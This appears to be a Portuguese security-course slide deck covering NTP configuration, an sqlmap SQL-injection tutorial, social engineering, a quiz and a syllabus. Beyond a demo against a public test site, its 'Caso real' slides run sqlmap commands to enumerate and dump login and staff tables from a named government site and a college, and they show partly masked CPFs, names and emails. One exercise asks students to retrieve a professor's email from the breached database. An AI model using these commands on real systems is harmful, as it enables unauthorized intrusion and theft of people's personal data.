atualização do relógio, para que, se houver queda de comunicação
com os servidores, o horário se mantenha correto. Ou, se for
necessário reiniciar o serviço NTP, ele toma o valor armazenado neste
arquivo como inicial, mantendo o horário correto até a próxima
sincronização.
■ statsdir :: diretório de logs do serviço.
■ restrict :: politicas de acesso ao serviço.
■ server :: servidores para sincronização de horário.
Reinciando o serviço
# /etc/init.d/ntp restart
Sincronizando:# apt-get update; apt-get install ntpdate
# ntpdate ip_ou_nome_do_servidor
Petisco p/ próximo módulo - Pentest
sqlmap - http://sqlmap.org/
dependência: python
Download:git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
./sqlmap.py -h
sqlmap - exemplo1/sqlmap.py --url "http://testphp.
vulnweb.com/listproducts.php?cat=1" -b
---
[09:55:38] [INFO] the back-end DBMS is MySQL[09:55:38] [INFO] fetching banner
web application technology: Nginx, PHP 5.3.10back-end DBMS operating system: Linux Ubuntuback-end DBMS: MySQL 5.0banner: '5.1.69-0ubuntu0.10.04.1'
./sqlmap.py --url "http://testphp.
vulnweb.com/listproducts.php?cat=1" --
current-db
--
[09:58:40] [INFO] fetching current databasecurrent database: 'acuart'
sqlmap - exemplo1/sqlmap.py --url "http://testphp.
vulnweb.com/listproducts.php?cat=1" -b
---
[09:55:38] [INFO] the back-end DBMS is MySQL[09:55:38] [INFO] fetching banner
web application technology: Nginx, PHP 5.3.10back-end DBMS operating system: Linux Ubuntuback-end DBMS: MySQL 5.0banner: '5.1.69-0ubuntu0.10.04.1'
./sqlmap.py --url "http://testphp.
vulnweb.com/listproducts.php?cat=1" --
current-db
--
[09:58:40] [INFO] fetching current databasecurrent database: 'acuart'
-b: banner do DBMS
–current-db: Mostra o banco de dados atual.
sqlmap - exemplo1./sqlmap.py --url "http://testphp.vulnweb.
com/listproducts.php?cat=1" --dbs
--
[10:00:44] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema
./sqlmap.py --url "http://testphp.vulnweb.
com/listproducts.php?cat=1" -D acuart --tables
--
[10:04:59] [INFO] fetching tables for database:
'acuart'
Database: acuart
[8 tables]
+-----------+| artists | | carts | | categ |
| featured | | guestbook | | pictures | | products ||
users | +-----------+
–dbs: Lista os bancos de dados do DBMS–url: Url do alvo.-D:banco de dados alvo.–tables:lista as tabelas.-D o sqlmap iria listar todas as tabelas de todos os bancos de dados..
sqlmap - exemplo1./sqlmap.py --url "http://testphp.vulnweb.
com/listproducts.php?cat=1" -D acuart -T users
--columns
--
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column | Type |
+---------+--------------+
| address | mediumtext |
| cart | varchar(100) |
| cc | varchar(100) |
| email | varchar(100) |
| name | varchar(100) |
| pass | varchar(100) |
| phone | varchar(100) |
| uname | varchar(100) |
+---------+--------------+
–url:URL Alvo.-D:Banco de dados alvo.-T:Tabela alvo.–columns:Listar colunas.
sqlmap - exemplo1./sqlmap.py --url "http://testphp.vulnweb.
com/listproducts.php?cat=1" -D acuart -T users
-C 'uname,pass' --dump
Database: acuart
Table: users
[1 entry]
+------+-------+
| pass | uname |
+------+-------+
| test | test |
+------+-------+
–url: URL alvo.-D:Banco de dados alvo.-T:Tabela do Alvo.-C: Colunas do alvo–dump: Extrair informações.
sqlmap - exemplo1./sqlmap.py --url "http://testphp.
vulnweb.com/listproducts.php?cat=1" -D
acuart --tables --dump-all
Extrair tudo de todas as tabelas.
sqlmap - exemplo2
sqlmap - exemplo2
sqlmap - exemplo2
sqlmap - exemplo2
sqlmap - Caso real 1 (Governo)
python sqlmap.py --url http://www.casaruibarbosa.gov.br/interna.php?ID_S=387 --current-db
python sqlmap.py --url http://www.casaruibarbosa.gov.br/interna.php?ID_S=387 current-db -D site_fcrb --tables
python sqlmap.py --url http://www.casaruibarbosa.gov.br/interna.php?ID_S=387 -T tb_usuarios --columns
python sqlmap.py --url http://www.casaruibarbosa.gov.br/interna.php?ID_S=387 -T tb_usuarios -C 'nm_login, id_login' --dump
sqlmap - Caso real 2 (Inst. de Ensino)
python sqlmap.py --url http://www.fasul.edu.br/caaf/evento_exibe.php?id=381 --current-db
python sqlmap.py --url http://www.fasul.edu.br/caaf/evento_exibe.php?id=381 -D portal --tables
python sqlmap.py --url http://www.fasul.edu.br/caaf/evento_exibe.php?id=381 -T ce_docente --columns
sqlmap - Caso real 2 (Inst. de Ensino)
web server operating system: Linux CentOS 6.3web application technology: PHP 5.3.3, Apache 2.2.15back-end DBMS: MySQL 5.0.11current database: 'portal'[115 tables]+-------------------------------------+| auth_certificado_usuario_assinatura || auth_operacao || auth_permissao || auth_permissao_operacao || auth_projeto || auth_usuario || auth_usuario_permissao || caaf_artigo || caaf_artigo_categoria || caaf_artigo_subcategoria |
Database: portal Table: ce_docente[6 columns]+----------+--------------+| Column | Type |+----------+--------------+| cpf | varchar(15) || created | datetime || email | varchar(80) || id | int(11) || modified | datetime || nome | varchar(100) |+----------+--------------+
sqlmap - Caso real 2 (Inst. de Ensino)
Table: tcc_docentes[732 entries]+------------+----------------+--------------------------------------------------+--------------------------------------------------+---------------------+---------------------+------------+| id | cpf | nome | email | created | modified | titulacao |+------------+----------------+--------------------------------------------------+--------------------------------------------------+---------------------+---------------------+------------+| 107 | 546.546.546-54 | L A P | po*[email protected] | 2010-12-16 11:44:18 | 2010-12-16 11:44:18 | Grad. || 1000003153 | 041.061.639-77 | J** R** L** | [email protected] | 2011-01-04 03:40:04 | 2013-11-04 03:40:01 | Ms. || 1000003176 | 00*.8*6.3*9-3* | U* R* C* | [email protected] | 2012-09-20 15:23
Engenharia SocialNo-Tech Hacking
Kevin Mitnick● Definindo Engenharia Social
Confiança● Medo● Reciprocidade● Amizade● Respeito● Dever moral● Ganância● Ignorância
Baseada em humanos
Baseada em computadores
PERGUNTAS
1. Qual email do Prof Jéfer cadastrado na base de dados da Fasul?
2. Qual o SO e o SGBD do site governamental http://www.casaruibarbosa.gov.br/? e o da FAG?
3. Cite 5 normas da ISO 27002 que foram atendidas até o momento, citando o que foi implementado para atendê-la.
4. Como é possível, apenas com a ferramenta PING descobrir o possível SO de uma máquina remota?
5. Qual a importância da hora sempre correta para o sistema de LOGs?
Questões de Múltipla escolha1) Uma boa definição para Hardening é:Escolher uma resposta.a. Petrificar o sistema.b. A mesma coisa que um Firewall.c. Trancar o servidor em uma sala cofre.d. Melhor o Hardware do servidor.e. Ajuste fino no sistema.
2) Com procedimentos de Hardening, podemos deixar o sistema 100% seguro. Essa afirmacão é falsaou verdadeira?
3) Por que é recomendado que o /home fique em uma partição separada?Escolher uma resposta.a. Para quando precisar reinstalar o sistema, não perca as informações que estão no /home.b. Para um usuário ter o seu próprio diretório pessoal.c. Porque é obrigatório o /home ficar em uma partição separada.d. Porque o /home precisa ser uma partição primária.e. Com o /home separado, o sistema fica mais rápido.
4) Antes da norma ISO/IEC 27002:2005 se chamar por esse nome, como ela era conhecida?Escolher uma resposta.a. ISO/IEC 27002:2004b. ISO/IEC 17799:2005c. ISO/IEC 27001:2005d. ISO/IEC 12345:2005e. ISO/IEC BS7799
5) A impossibilidade de se prever as necessidades de espaço para cada partição é uma desvantagemquando falamos de particionamento de disco. Essa afirmação é verdadeira ou falsa?Resposta:Verdadeiro Falso
Desafio:http://www.hackertest.net
Jogos:Hacker Evolution Uplink
Jéfer Benedett Dörr
Até a próxima!
13/12/2013
3.1-OSSTMM – Open Source Security Testing Methodology Manual.
3.2-Anatomia de um Ataque,
3.3-Engenharia Social,
3.4-Footprint,
3.5-Footprint emSMTP,
3.6-Fingerprint,
3.7-Levantamento de Dados Através de Port Scanners,
3.8-Técnicas de Varreduras,
3.9-Técnicas Furtivas,
14/12/2013
4.1-Captura de Informações com Sniffers,4.2-Conceitos Básicos de Backdoors,
4.3-Enumeração de Serviços e Informações,
4.4 - Bruteforce,4.5 - Negação de Serviço,
4.6 - Exploits,
4.7 - Google Hacking,
4.8 - Ferramentas,
4.9 - Contramedidas.
Referências e Links
http://www.pentest-standard.org/index.php/Main_Page
http://backtracktutorials.com/backtrack-basics/scanning/
http://www.faqs.org/docs/securing/
ISO 73:2009 - Gerenciamento de Risco
ISO 27001
ISO 27002
Livros